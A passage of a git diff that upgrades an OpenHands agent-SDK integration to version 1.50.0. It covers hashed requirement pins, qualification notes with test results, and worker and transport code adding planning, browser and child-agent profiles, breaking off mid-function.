--hash=sha256:243dda95d901c733f5b59214d28b0120893d91777cb8aa043e6ef059d3cddfe2 \ + --hash=sha256:2ca6fd72a8cd803be290d42f2dec5cdcd5299eeb93c2d929bf060ad9efaf5de0 \ + --hash=sha256:2e4e1f6f0b4da23e61188676e3ed027ef0baa833a2e633c29ff8530800edccba \ + --hash=sha256:31f0b53913220599446872d757257be5898019c85e7971599065bc55065dc99d \ + --hash=sha256:334b8721303e61b00019474cc103bdac3d7b1f65e91f0bfedeec2d56dfe74b53 \ + --hash=sha256:33e32a0dd0c8205efa8e83d04fc9f19313772b78522d1bdc7d9aed706bfd6138 \ + --hash=sha256:34b36c2c57124530884d89d50ed2c1478697ad7473efd59cfd479945c95650e4 \ + --hash=sha256:3aa27acb6de7a23785d81557577491f6c38a5209a254d1191519d07d8fe51748 \ + --hash=sha256:3b06bcadaac49c70f4c88af4ffcfbe3dc155aab3163e75777818092478bcbbe7 \ + --hash=sha256:3b7c88eeef021579d600e50363e0b6ee4f7f6f728cd3486b9d0f3ee7b946398d \ + --hash=sha256:3e2daa88dc91870215961e96a039ec73e4937da13cf77ce17f9cad0c18df3503 \ + --hash=sha256:3ea66b1c11c9150f1372f69afb6b8116f2dd7286f38e14ea71a44eee9ec51b9d \ + --hash=sha256:42188e6a615c1a75bcaa6e150c3fe8f3e8680471a6b10150c5f7e83f47cc34d2 \ + --hash=sha256:433885ab5431bc3d3d4f2f9bd15bfa1614c522b0f1405d62c4f926ccd69d04fa \ + --hash=sha256:437840083abe022c978470b942ff832c3940b2ad3734d424b7eaffcd07f76737 \ + --hash=sha256:4398557cbf484207df000309235979c79c4356518fd5c99158c7d38203c4da4f \ + --hash=sha256:45c2842ff0e0d1b35a6bf1cd6c690939dacb617a70827f715232b2e0494d55d1 \ + --hash=sha256:47743b82b76d89a1d20b83e60d5c20314cbd5ba2befc9cda8f28300c4a08ed4d \ + --hash=sha256:4792b262d585ff0dff6bcb787f8492e40698443ec982a3568c2096433660c694 \ + --hash=sha256:47d8a5c446df1c4db9d21b49619ffdba90e77c89ec6e283f453856c74b50b9e3 \ + --hash=sha256:47fdb18187e2a4e18fda2c25c05d8251a9e4a521edaed757fef033e7d8498d9a \ + --hash=sha256:4c52a6e78aef5cf47a98ef8e934755abf53953379b7d53e68b15ff4420e6683d \ + --hash=sha256:4dcc74149ccc8bba31ce1944acee24813e93cfdee2acda3c172df844948ddf7b \ --hash=sha256:50678a3b71c751d58d7908edc96d332af328839eea883bb554a43f539101277a \ + --hash=sha256:51af598701f5299012b8416486b40fceef8c26fc87dc6d7d1f6fc30609ea0aa6 \ + --hash=sha256:594fcab1032e2d2cc3321bb2e51271e7cd2b516c7d9aee780ece81b07ff8244b \ + --hash=sha256:595697f68bd1f0c1c159fcb97b661fc9c3f5db46498043555d04805430e79bea \ + --hash=sha256:59c189e3e99a59cf8d83cbb31d4db02d66cda5a1a4374e8a012b51255341abf5 \ + --hash=sha256:5a3bf7f62a289fa90f1990422dc8dff5a458469ea71d1624585ec3a4c8d6960f \ + --hash=sha256:5c401e05ad47a75869c3ab3e35137f8468b846770587e70d71e11de797d113df \ + --hash=sha256:5cdac20da754f3a723cceea5b3448e1a2074866406adeb4ef35b469d089adb8f \ + --hash=sha256:5d0fcda9608875f7d052eff120c7a5da474a6796fe4d83e152e0e4d42f6d1a9b \ + --hash=sha256:5dbeefd6ca588b33576a01b0ad58aa934bc1b41ef89dee505bf2932b22ddffba \ + --hash=sha256:62441e55958977b8167b2709c164c91a6363e25da322d87ae6dd9c6019ceecf9 \ + --hash=sha256:663e1cadaddae26be034a6ab6072449a8426ddb03d500f43daf952b74553bba0 \ + --hash=sha256:669930400e375570189492dc8d8341301578e8493aec04aebc20d4717f899dd6 \ + --hash=sha256:68986a61557d37bb90d3051a45b91fa3d5c516d177dfc6dd6f2f436a07ff2b6b \ + --hash=sha256:6944b2dc72c4d7f7052683487e3677456050ff77fcf5e6204e98caf785ad1967 \ + --hash=sha256:6a635ea45ba4ea8238463b4f7d0e721bad669f80878b7bfd1f89266e2ae63da2 \ + --hash=sha256:6c5010a52015e7c70f86eb967db0f37f3c8bd503a695a49f8d45700144667708 \ + --hash=sha256:6dcbb0829c671f305be48a7227918cfcd11276c2d637a8033a99a02b67bf9eda \ + --hash=sha256:70dfd4f241c04bd9239d53b17f11e6ab672b9f1420364af63e8531198e3f5fe8 \ + --hash=sha256:719ae08b6972befcba4310e49edb1161a88cdd331e3a694b84466bd938a6ab10 \ + --hash=sha256:75976c6945d85dbb9ee6308cd7ff7b1fb9409380c82d6119bd778d8fcfe2931c \ + --hash=sha256:7861058d0582b847bc4e3a4a4c46828a410bca738673f35a29ba3ca5db0b473b \ + --hash=sha256:792a2af6d58177ef7c19cbf0097aba92ca1b9cb3ffdd9c7470e156c8f9b5e028 \ + --hash=sha256:8009b3173bcd637be650922ac455946197d858b3630b6d8787aa9e5c4564533e \ + --hash=sha256:80ddf7a5f8c86cb3eb4bc9028b07bbbf1f08a96c5c0bc1244be5e8fefcb94147 \ + --hash=sha256:8218f4e98d3c10d683584cb40f0424f4b9fd6e95610232dd75e13743b070ee33 \ + --hash=sha256:84fc3ec96fce86ce5aa305eb4aa9358279d1aa644b71fab7b8ed33fe3ba1a7ca \ + --hash=sha256:852863707010316c973162e703bddabec35e8757e67fcb8ad58829de1ebc8590 \ + --hash=sha256:8884d8b332a5e9b88e23f60bb166890009429391864c685e17bd73a9eda9105c \ + --hash=sha256:8dee9c25c74997f6a750cd317b8ca63545169c098faee42c84aa5e506c819b53 \ + --hash=sha256:939fe60db294c786f6b7c2d2e121576628468f65453d86b0fe36cb52f987bd74 \ + --hash=sha256:99b6fc1d55782461b78221e95fc357b47ad98b041e8e20f47c1411d0aacddc60 \ --hash=sha256:9d7672ecf7557476642c88497c2f8d8542f8e36596e928e9bcba0e42e1e7d71f \ + --hash=sha256:9f6d73c1436b934e3f01df1e1b21ff765cd1d28c77dfb9ace207f746d4610ee1 \ + --hash=sha256:9fb17ea16e972c63d25d4a97f016d235c78dd2344820eb35bc034bc32012ee27 \ --hash=sha256:a49370e8f711daec68d09b821a34e1167792ee2d24d405cbc2387be4f158b520 \ + --hash=sha256:a4fcfc8eb2c34148c118dfa02e6427ca278bfd0f3df7c5f99e33d2c0e81eae3e \ + --hash=sha256:a899cbd98dce6f5d8de1aad31cb712ec0a530abc0a86bd6edaa47c1090138467 \ + --hash=sha256:a9b1ba5610a4e20f655258d5a1fdc7ebe3d837bb0e45b581398b99eb98b1f5ca \ + --hash=sha256:af74f05666a5e531289cb1cc9c883d1de2088b8e5b4de48004e5ca8a830ac859 \ + --hash=sha256:b0748275abb8c1e1e09301ee3cf90c8a99678a4e92e4373705f2a2570d581273 \ + --hash=sha256:b266bd01fedeffeeac01a79ae181719ff848a5a13ce10075adbefc8f1daee70e \ + --hash=sha256:b4f15793aa49793ec8d1c708ab7f9eded1aa72edc5174cae703651555ed1b601 \ + --hash=sha256:b580e71cac3f8113d3135888770903eaf2f507e9421e5697d6ee6d8cd1c7f054 \ + --hash=sha256:b6a6f620cfe13ccec221fa312139135166e47ae169f8253f72a0abc0dae94376 \ + --hash=sha256:b790b39c7e9a4192dc2e201a282109ed2985a1ddbd5ac08dc56d0e121400a8f7 \ + --hash=sha256:b85b982afde6df99ecc996990d4ad7ccbdbb70e2a4ba4de0aecde5922ba98a0b \ + --hash=sha256:b8a0588521a26bf92a57a1705b77b8b59044cdceccac7151bd8d229e66b8dedb \ + --hash=sha256:ba440ae430c00eee41509353628600212112cd5018d5def7e9b05ea7ac34eb65 \ --hash=sha256:bca03b91c323036913993ff5c738d0842fc9c60c4648e5c8d98331526df89784 \ --hash=sha256:bebf8557577d4401ba8bd9ff33906f1376c877aa78d1fe216ad01b4d6745af71 \ --hash=sha256:bec03d0d388060058f5d291a813f21c011041938a441c593374da6077fe21b1b \ + --hash=sha256:bf4a21e58b9cde0e401e683ebd00f6ed30a06d14e93f7c8fd059f8b6e8f87b6a \ --hash=sha256:c0232bce2170103ec23c454e54a57008a9a72b5d1c3105dc2496750da8cfa47c \ + --hash=sha256:c4647674b6150d2cae088fc07de2738a84b8bcedebef29802cf0b0a82ab6face \ + --hash=sha256:c7044802eec4524fde550afc28edda0dd5784c4c45f0be151a2d3ba017daca7d \ + --hash=sha256:c7bd6683587567e5a49ee6e336e0612bec8329be1b7d4c8af5687dcdeb67ee1e \ + --hash=sha256:ca1f59c4e1ab6e72f0a23c13fca5430f889634166be85dbf1013683e49e3278e \ + --hash=sha256:cb95a9b1adaa48e41815a55ae740cfda005758104049a640a398120bf02515ca \ + --hash=sha256:cfebc0ac8333520d2d0423cbbe43ae43c8838862ddb898f5ca68565e395516e9 \ + --hash=sha256:d332fc2e3c94dad927f2112395772a4e4fedbcf8f80efc21ed7cdfae4d574fdb \ + --hash=sha256:d3e32536234a95f513bd374e93d717cf6b2231a791758de6c509e3653f234c95 \ + --hash=sha256:d5372ca1df0f91a86b047d1277c2aaf1edb32d78bbcefffc81b40ffd18f027ed \ + --hash=sha256:d77e1b2c6d04711478cb1c4ab90db07f1609ccf06a287d5607fcd90dc9863acf \ + --hash=sha256:d947071e6ebcf2e2bee8fce76e10faca8f7a14808ca36a910263acaacef08eca \ + --hash=sha256:dd7afd3f8b0bfb4e0d9fc3c31bfe8a4ec7debe124cfd90619305def3c8ca8cd2 \ --hash=sha256:de6b9a04c606978fdfe72666fa216ffcf2d1a9f6a381058d4378f8d7b1e5de62 \ + --hash=sha256:e1651bf8e0398574646744c1885a41198eba53dc8a9312b954073f845c90a8df \ + --hash=sha256:e1b329cb8146d7b736677a2440e422eadd775d1806a81db2d4cded80a48efc1a \ --hash=sha256:e1b51bebd221006d3d2f95fbe124b22b247136647ae5dcc8c7acafba66e5ee67 \ - --hash=sha256:e51ac5435758ba97ad69617e13233da53908beccc6cfcd6c34bbed8dcbede486 -zipp==3.23.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:e340382d1afa5d32b892b3ff062436d592ec3d692aeea3bef3a5cfe11bbf8c6f \ + --hash=sha256:e4b582bab49ac33c8deb97e058cd67c2c50dac0dd134874106d9c774fd272529 \ + --hash=sha256:e51ac5435758ba97ad69617e13233da53908beccc6cfcd6c34bbed8dcbede486 \ + --hash=sha256:e5542339dcf2747135c5c85f68680353d5cb9ffd741c0f2e8d832d054d41f35a \ + --hash=sha256:e6438cc8f23a9c1478633d216b16104a586b9761db62bfacb6425bac0a36679e \ + --hash=sha256:e81fda2fb4a07eda1a2252b216aa0df23ebcd4d584894e9612e80999a78fd95b \ + --hash=sha256:ea70f61a47f3cc93bdf8b2f368ed359ef02a01ca6393916bc8ff877427181e74 \ + --hash=sha256:ebd4549b108d732dba1d4ace67614b9545b21ece30937a63a65dd34efa19732d \ + --hash=sha256:efb07073be061c8f79d03d04139a80ba33cbd390ca8f0297aae9cce6411e4c6b \ + --hash=sha256:f0d97c18dfd9a9af4490631905a3f131a8e4c9e80a39353919e2cfed8f00aedc \ + --hash=sha256:f1e09112a2c31ffe8d80be1b0988fa6a18c5d5cad92a9ffbb1c04c91bfe52ad2 \ + --hash=sha256:f3d7a87a78d46a2e3d5b72587ac14b4c16952dd0887dbb051451eceac774411e \ + --hash=sha256:f4afb5c34f2c6fecdcc182dfcfc6af6cccf1aa923eed4d6a12e9d96904e1a0d8 \ + --hash=sha256:f6d2cb59377d99718913ad9a151030d6f83ef420a2b8f521d94609ecc106ee82 \ + --hash=sha256:f87ac53513d22240c7d59203f25cc3beac1e574c6cd681bbfd321987b69f95fd \ + --hash=sha256:ff86011bd159a9d2dfc89c34cfd8aff12875980e3bd6a39ff097887520e60249 +zipp==3.23.0 \ --hash=sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e \ --hash=sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166 -openhands-sdk @ https://files.pythonhosted.org/packages/e9/ac/d27c5becc3b59b8cc46a1614ac478cc94eb73e626ab15831906fcdaafb29/openhands_sdk-1.49.6-py3-none-any.whl \ - --hash=sha256:3b4701f125925e804929ab02b61fe2fe10b4fb1e7d723a2c4afdea35566328bb -openhands-tools @ https://files.pythonhosted.org/packages/68/20/27d6d20cc8f3465ec861c450bc0113c8646285aa6c8f4291b62366dcb8a2/openhands_tools-1.49.6-py3-none-any.whl \ - --hash=sha256:11e57a6635fd93c9f1fed14f804ab6f24a4873f75a2d35f0d1c3e57df2c51c87 diff --git a/blueprints/runtime-workers/openhands/research.md b/blueprints/runtime-workers/openhands/research.md index 38843f9b9..7ea9630a0 100644 --- a/blueprints/runtime-workers/openhands/research.md +++ b/blueprints/runtime-workers/openhands/research.md @@ -644,3 +644,69 @@ Open after the repair round: - **G5's limits:** it cannot see a Codex connection's app-server opt-in (`open-sse/executors/codex.ts:415-439`). It counts inactive rows as served. Its provider lists are tied to the two builds read. +# SDK 1.50.0 qualification candidate (2026-09-30) + +Checked in installed/native order: the prior recipe prefix was not present at +its default location; `uv --version` returned 0.12.17. The GitHub release API for +[`v1.50.0`](https://github.com/OpenHands/software-agent-sdk/releases/tag/v1.50.0) +returned publication 2026-09-29T20:09:53Z and call-context/budget-denial fixes. +An isolated supported `git clone --depth 1 --branch v1.50.0` resolved to exact +`dcf401af7a9a302ef92cb7d092e1df9bb659daa5`. `make build` passed; the before/after +upstream `uv.lock` SHA256 remained +`9ee1944f08b39760cbf502b546ec420fad84ed65caed5eb08fc9cceb68074801`. + +The published wheels were selected from PyPI 1.50.0 metadata. Anonymous official +GHCR reads verified index, linux/amd64 manifest and config byte digests; config +`OPENHANDS_BUILD_GIT_SHA` and `OPENHANDS_BUILD_GIT_REF` matched the same source/tag. +The hashes are in `pins.json`. Installation uses native `uv export --locked +--no-dev --package openhands-tools --no-emit-workspace --no-annotate --no-header` +plus the two published wheel requirements, retaining upstream dependency versions +and hashes. The previous PyJWT fix is preserved: this upstream lock uses 2.13.0. +Hashed wheel install and `uv pip check` passed in an isolated Python 3.13 prefix. + +Capability sources at this exact revision: + +- [Native planning preset](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-tools/openhands/tools/preset/planning.py), + [delegation example](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/examples/01_standalone_sdk/25_agent_delegation.py), + [TaskManager](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-tools/openhands/tools/task/manager.py), + [AgentDefinition](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/openhands/sdk/subagent/schema.py). +- [Browser toolset](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-tools/openhands/tools/browser_use/definition.py), + [goal example](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/examples/01_standalone_sdk/54_goal_completion_loop.py), + [native server lifecycle/goal routes](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/conversation_router.py), + [EventService](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/event_service.py). +- [Conversation-owned call context](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/openhands/sdk/llm/call_context.py), + [LLM dispatch and native kwargs](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/openhands/sdk/llm/llm.py), + [Responses replay](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/openhands/sdk/llm/message.py). + +Corrections discovered during this implementation: + +- Native goal review does not automatically honor `api_mode` through its + `completion` call. Verification: `conversation/goal/judge.py:70-75` calls + `completion`; `llm.py:1645-1773` explicitly takes Chat Completion transport; + `generate:1577-1607` and `agenerate:1609-1639` dispatch by API mode. The existing + owned transport now adapts these public methods for Responses LLMs. Patched + actual-SDK integration checks verify sync/async kwargs, return object and exact + native LLM type; this remains an integration adaptation, not upstream coverage. +- `get_agent_factory` raises for absence instead of returning None. Verification: + pinned `subagent/registry.py`; use its supported `register_agent_if_absent` + rather than inferring registry state. `TaskAction.max_turns` is deprecated and + ignored; native caps come from `AgentDefinition.max_iteration_per_run`. +- Initial transport source line comments used stale offsets. AST inspection of + the immutable source verified the line ranges above; the comments were fixed. +- Initial local checks caught historical-image pin comparisons, a stale P3 + skeleton assertion, a delayed test-only import, and an incorrect indentation + while updating the receipt-schema assertion. Failures are retained separately + from the passing checks; none was a live provider result. +- Actual-SDK P3 fixtures caught a Chat Completion-shaped tool-call assumption. + Verification: `llm/message.py:25-42` defines native MessageToolCall as canonical + `id/name/arguments/origin`, not nested `function`. P3 now reads the native + transport-agnostic model and preserves its canonical ID when replaying. + +The unchanged upstream test command passed **1,208 tests**, 52 warnings, in +94.92 seconds. The isolated native construction checks cover all eight profiles, +explicit child route/tools/skills and bounded definitions. Existing integration +fixtures remain separate. No new image scan, server start, provider call, P3, +browser interaction, cold crash recovery, official grading or token-saving trial +ran in this worktree. Observer ingestion is an interface for the coordinator's +external recorder, not a qualified recorder. See the upgrade command receipt and +returned logs under `evidence/` for actual output and scope. diff --git a/blueprints/runtime-workers/openhands/run-e2e.sh b/blueprints/runtime-workers/openhands/run-e2e.sh index d0e3aa464..4a5c1e14a 100755 --- a/blueprints/runtime-workers/openhands/run-e2e.sh +++ b/blueprints/runtime-workers/openhands/run-e2e.sh @@ -4,6 +4,6 @@ set -euo pipefail umask 077 export PYTHONDONTWRITEBYTECODE=1 recipe_dir="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" -prefix="$HOME/.local/share/codex-ecosystem/tools/openhands-1.49.6" +prefix="$HOME/.local/share/codex-ecosystem/tools/openhands-1.50.0" state="$HOME/.local/state/native-agent-stack/runtime-workers/openhands" exec python3 "$recipe_dir/host.py" run --prefix "$prefix" --state "$state" "$@" diff --git a/blueprints/runtime-workers/openhands/server_transport.py b/blueprints/runtime-workers/openhands/server_transport.py index 0006db6da..8319d5878 100644 --- a/blueprints/runtime-workers/openhands/server_transport.py +++ b/blueprints/runtime-workers/openhands/server_transport.py @@ -4,10 +4,12 @@ native LLM types, retries and serialization; reuse the per-call header adapter. """ import atexit +from contextlib import contextmanager +from functools import wraps import os from openhands.sdk import LLM -from worker import capture_correlation, gateway_transport +from worker import capture_correlation, gateway_transport, register_worker_agents if os.environ.get("OPENHANDS_OWNED_CONTAINER") != "1": raise RuntimeError("server_transport_requires_owned_container") @@ -15,3 +17,45 @@ _transport = gateway_transport(LLM, correlation_callback=capture_correlation) _transport.__enter__() atexit.register(_transport.__exit__, None, None, None) + +# Native factories must exist in the server process as well as the offline +# request serializer. Startup is scoped to one owned dispatch, never global. +register_worker_agents(os.environ, os.environ["OPENHANDS_RUN_ID"]) + + +@contextmanager +def goal_judge_transport(service_type): + """Pass native EventService's supported judge_llm argument explicitly. + + SDK@dcf401a event_service.py:1416-1468,1620-1667 and example 54. + The REST route omits judge_llm, so defaulting would combine judge and agent + usage. Keep the upstream loop and provide a separate native LLM instance. + """ + originals = {name: getattr(service_type, name) for name in ("start_goal_loop", "resume_goal_loop")} + def adapted(original): + @wraps(original) + async def run(service, *args, **kwargs): + if "max_iterations" in kwargs and not 1 <= kwargs["max_iterations"] <= 3: + raise ValueError("goal_audit_cap_is_three") + if kwargs.get("judge_llm") is None: + conversation = service._conversation + if conversation is None: + raise ValueError("inactive_service") + judge = conversation.agent.llm.model_copy(update={"usage_id": "goal-judge"}) + judge.reset_metrics() + kwargs["judge_llm"] = judge + return await original(service, *args, **kwargs) + return run + for name, original in originals.items(): + setattr(service_type, name, adapted(original)) + try: + yield + finally: + for name, original in originals.items(): + setattr(service_type, name, original) + + +from openhands.agent_server.event_service import EventService +_goal_transport = goal_judge_transport(EventService) +_goal_transport.__enter__() +atexit.register(_goal_transport.__exit__, None, None, None) diff --git a/blueprints/runtime-workers/openhands/worker.py b/blueprints/runtime-workers/openhands/worker.py index c6d2c020c..684b13a90 100644 --- a/blueprints/runtime-workers/openhands/worker.py +++ b/blueprints/runtime-workers/openhands/worker.py @@ -1,8 +1,9 @@ """Run the pinned SDK examples' agent/conversation inside the owned container. -The only LLM adaptation adds gateway headers through public generate/agenerate -kwargs. It preserves upstream retries, Responses serialization and condensation. -See README.md for source lines and unmeasured host acceptance boundaries. +The owned LLM adaptation adds gateway headers and dispatches public completion +calls through native generate/agenerate when Responses is configured. Native +profiles, retries, serialization, call context and condensation remain upstream. +See README.md for the integration scope and unmeasured host boundaries. """ from __future__ import annotations @@ -13,11 +14,12 @@ import json import os from pathlib import Path +import re import shlex import sys import uuid -from recipe import HERE, environment_selection, llm_config, read_json, tool_filter +from recipe import HERE, environment_selection, llm_config, profile_skills, read_json, task_profile, tool_filter def headers_for_call(static_headers): @@ -37,7 +39,7 @@ def worker_llm_config(environment, dispatch_id): def response_correlation(response): - # SDK@fcc102a llm.py:1130-1138 preserves raw_response. LiteLLM@v1.93.0 + # SDK@dcf401a llm/llm.py preserves raw_response. LiteLLM@v1.93.0 # llms/openai/responses/transformation.py:262-272 preserves raw headers. raw = getattr(response, "raw_response", None) hidden = getattr(raw, "_hidden_params", {}) @@ -53,17 +55,19 @@ def response_correlation(response): def gateway_transport(llm_type, correlation_callback=None): """Scope header transport to this single worker process, preserving LLM type. - SDK agent/base.py:739-775 registers only exact LLM objects. A subclass skips - native usage/context binding. Keep the objects native and restore methods - after the conversation. Upstream retries remain within the original method. + Keep exact native LLM objects for upstream usage/context binding and restore + methods after the owned process scope. SDK@dcf401a llm.py and call_context.py + retain native retries, serialization and conversation-owned call context. """ original_generate, original_agenerate = llm_type.generate, llm_type.agenerate + original_completion = getattr(llm_type, "completion", None) + original_acompletion = getattr(llm_type, "acompletion", None) def call_kwargs(llm, kwargs): if kwargs.get("response_format") is not None or kwargs.get("text") is not None: raise ValueError("use_native_tool_calling_for_structured_output") - if kwargs.get("temperature") is not None and kwargs["temperature"] <= 0.1: - raise ValueError("gateway_temperature_must_exceed_0_1_or_be_omitted") + if any(kwargs.get(key) is not None for key in ("temperature", "top_p", "top_k")): + raise ValueError("gpt6_sampling_parameters_must_be_omitted") static = llm.extra_headers or {} if not static.get("x-omniroute-session"): raise ValueError("conversation_affinity_required") @@ -83,14 +87,40 @@ async def agenerate(llm, *args, **kwargs): correlation_callback(response_correlation(response)) return response + # SDK@dcf401a llm.py generate:1577-1607 is the API-mode dispatcher; + # completion:1645-1773 explicitly uses Chat Completions. Goal's judge.py + # calls completion even with a Responses LLM. Route that call through the + # native dispatcher without replacing the model loop or request serializer. + def completion(llm, messages, tools=None, add_security_risk_prediction=False, + on_token=None, call_context=None, **kwargs): + method = generate if llm.uses_responses_api() else original_completion + return method(llm, messages=messages, tools=tools, + add_security_risk_prediction=add_security_risk_prediction, + on_token=on_token, call_context=call_context, **kwargs) + + async def acompletion(llm, messages, tools=None, add_security_risk_prediction=False, + on_token=None, call_context=None, **kwargs): + method = agenerate if llm.uses_responses_api() else original_acompletion + return await method(llm, messages=messages, tools=tools, + add_security_risk_prediction=add_security_risk_prediction, + on_token=on_token, call_context=call_context, **kwargs) + llm_type.generate, llm_type.agenerate = generate, agenerate + if original_completion is not None: + llm_type.completion = completion + if original_acompletion is not None: + llm_type.acompletion = acompletion try: yield finally: llm_type.generate, llm_type.agenerate = original_generate, original_agenerate + if original_completion is not None: + llm_type.completion = original_completion + if original_acompletion is not None: + llm_type.acompletion = original_acompletion -def build_agent(environment, dispatch_id): +def build_agent(environment, dispatch_id, *, child_llm=None): # Imports belong inside this entry point; offline recipe tests need no SDK. from openhands.sdk import Agent, AgentContext, LLM, Tool from openhands.sdk.context.condenser import LLMSummarizingCondenser @@ -105,15 +135,28 @@ def build_agent(environment, dispatch_id): versions = {name: importlib.metadata.version(name) for name in ("openhands-sdk", "openhands-tools")} if any(version != pins["version"] for version in versions.values()): raise RuntimeError("installed_version_mismatch") - llm = LLM(**worker_llm_config(environment, dispatch_id)) + fields = worker_llm_config(environment, dispatch_id) + profile_name, profile = task_profile(environment) + if child_llm is None: + llm = LLM(**fields) + else: + # Native TaskManager clones and resets the parent's metrics before the + # registered factory. Keep that native object, and verify every route + # requirement explicitly rather than relying on ambient child defaults. + for key in ("model", "base_url", "api_mode", "reasoning_effort", "native_tool_calling"): + if getattr(child_llm, key) != fields[key]: + raise RuntimeError("child_route_mismatch") + llm = child_llm.model_copy(update={"usage_id": "child-" + profile_name}) condenser_fields = {k: v for k, v in cfg["condenser"].items() if k != "kind"} condenser = LLMSummarizingCondenser( llm=llm.model_copy(update={"usage_id": "condenser"}), **condenser_fields, ) _, _, skills = load_skills_from_dir("/workspace/.agents/skills") - expected = set(read_json("/run-input/skills.json")["names"]) + skill_manifest = read_json("/run-input/skills.json") + expected = set(skill_manifest["names"]) if set(skills) != expected: raise RuntimeError("skill_discovery_mismatch") + skills = profile_skills(skills, skill_manifest, profile) context = AgentContext( **cfg["agent_context"], skills=list(skills.values()), system_message_suffix=( @@ -129,26 +172,82 @@ def build_agent(environment, dispatch_id): mcp_config = coerce_mcp_config(read_json("/run-input/mcp.json")) if len([s for s in mcp_config.values() if s.enabled]) < 2: raise RuntimeError("multi_server_namespace_required") - agent = Agent( + tools = [Tool(name=TerminalTool.name, params={"terminal_type": "subprocess"}), Tool(name=FileEditorTool.name)] + allowed = [] + if profile["planning"]: + from openhands.tools.preset.planning import get_planning_agent + planning_agent = get_planning_agent(llm) + # Keep the upstream planning prompt, restricted editor and condenser. + tools = planning_agent.tools + allowed.extend(re.escape(tool.name) for tool in tools) + condenser = planning_agent.condenser + if profile["browser"]: + from openhands.tools.browser_use import BrowserToolSet + tools.append(Tool(name=BrowserToolSet.name)) + allowed.append(r"browser_[A-Za-z][A-Za-z0-9_]*") + if profile["children"]: + from openhands.tools.task import TaskToolSet + register_worker_agents(environment, dispatch_id, profile) + tools.append(Tool(name=TaskToolSet.name)) + allowed.append(r"task") + fields = dict( llm=llm, condenser=condenser, agent_context=context, - tools=[Tool(name=TerminalTool.name, params={"terminal_type": "subprocess"}), Tool(name=FileEditorTool.name)], + tools=tools, include_default_tools=["FinishTool"], - mcp_config=mcp_config, filter_tools_regex=tool_filter(policy), + mcp_config=mcp_config, filter_tools_regex=tool_filter(policy, allowed), + tool_concurrency_limit=profile["delegation"]["tool_concurrency_limit"] if profile["children"] else 1, ) + agent = planning_agent.model_copy(update=fields) if profile["planning"] else Agent(**fields) return agent, versions, sorted(skills) +def register_worker_agents(environment, dispatch_id, profile=None): + """Native registration and bounded AgentDefinition, from examples 25 and 41. + + Each owned server is one task/dispatch. Factories are installed in both the + offline serializer and the server startup process. Children cannot delegate + recursively; their profiles omit TaskToolSet. TaskAction.max_turns is + deprecated and ignored upstream, so bounds use the native agent definition. + """ + if profile is None: + _, profile = task_profile(environment) + if not profile["children"]: + return + from openhands.sdk.subagent import register_agent_if_absent + from openhands.sdk.subagent.schema import AgentDefinition + for name in profile["children"]: + agent_name = "worker-" + name + child_environment = {**environment, "OPENHANDS_PROFILE": name} + def factory(llm, child_environment=child_environment): + return build_agent(child_environment, dispatch_id, child_llm=llm)[0] + child_profile = task_profile(child_environment)[1] + child_skills = profile_skills( + {name: None for name in read_json("/run-input/skills.json")["names"]}, + read_json("/run-input/skills.json"), child_profile, + ) + register_agent_if_absent( + name=agent_name, factory_func=factory, + description=AgentDefinition( + name=agent_name, description=f"Task-scoped {name} worker; same GPT Responses/max route.", + model=worker_llm_config(child_environment, dispatch_id)["model"], + tools=["terminal", "file_editor"], + skills=sorted(child_skills), hooks=worker_hooks(), + max_iteration_per_run=profile["delegation"]["child_max_iteration_per_run"], + ), + ) + + def worker_hooks(): from openhands.sdk.hooks import HookConfig, HookDefinition, HookMatcher return HookConfig(pre_tool_use=[HookMatcher( - matcher="qmd_query", hooks=[HookDefinition( + matcher="qmd_query|task", hooks=[HookDefinition( command=f"{shlex.quote(sys.executable)} {shlex.quote(str(HERE / 'mcp_guard.py'))}", timeout=10, )], )]) def start_request(task, run_id, arm): - """Native request example: SDK@fcc102a conversation_router.py:72-86. + """Native request: SDK@dcf401a conversation/request.py and conversation_router.py. expose_secrets serializes only the fixed keyless placeholder; the server auth key is never part of this body. pydantic_secrets.py:24-37,48-68. @@ -157,9 +256,11 @@ def start_request(task, run_id, arm): from openhands.sdk.workspace import LocalWorkspace from openhands.sdk.conversation.request import StartConversationRequest, SendMessageRequest agent, _, _ = build_agent({**os.environ, "OPENHANDS_ARM": arm}, run_id) + _, profile = task_profile(os.environ) request = StartConversationRequest( agent=agent, workspace=LocalWorkspace(working_dir="/workspace"), - initial_message=SendMessageRequest(role="user", content=[TextContent(text=task)], run=True), + initial_message=None if profile["goal_review"] else SendMessageRequest( + role="user", content=[TextContent(text=task)], run=True), max_iterations=read_json(HERE / "config/worker.json")["runtime"]["max_iteration_per_run"], hook_config=worker_hooks(), tags={"source": "ultracode", "dispatch": run_id, "arm": arm}, ) @@ -205,8 +306,20 @@ def record_event(event): max_iteration_per_run=cfg["runtime"]["max_iteration_per_run"], visualizer=None, ) try: - conversation.send_message(Path("/run-input/task.txt").read_text()) - conversation.run() + task = Path("/run-input/task.txt").read_text() + _, profile = task_profile(os.environ) + outcome = None + judge_metrics = None + if profile["goal_review"]: + from openhands.sdk import LLM + from openhands.sdk.conversation.goal import run_goal + 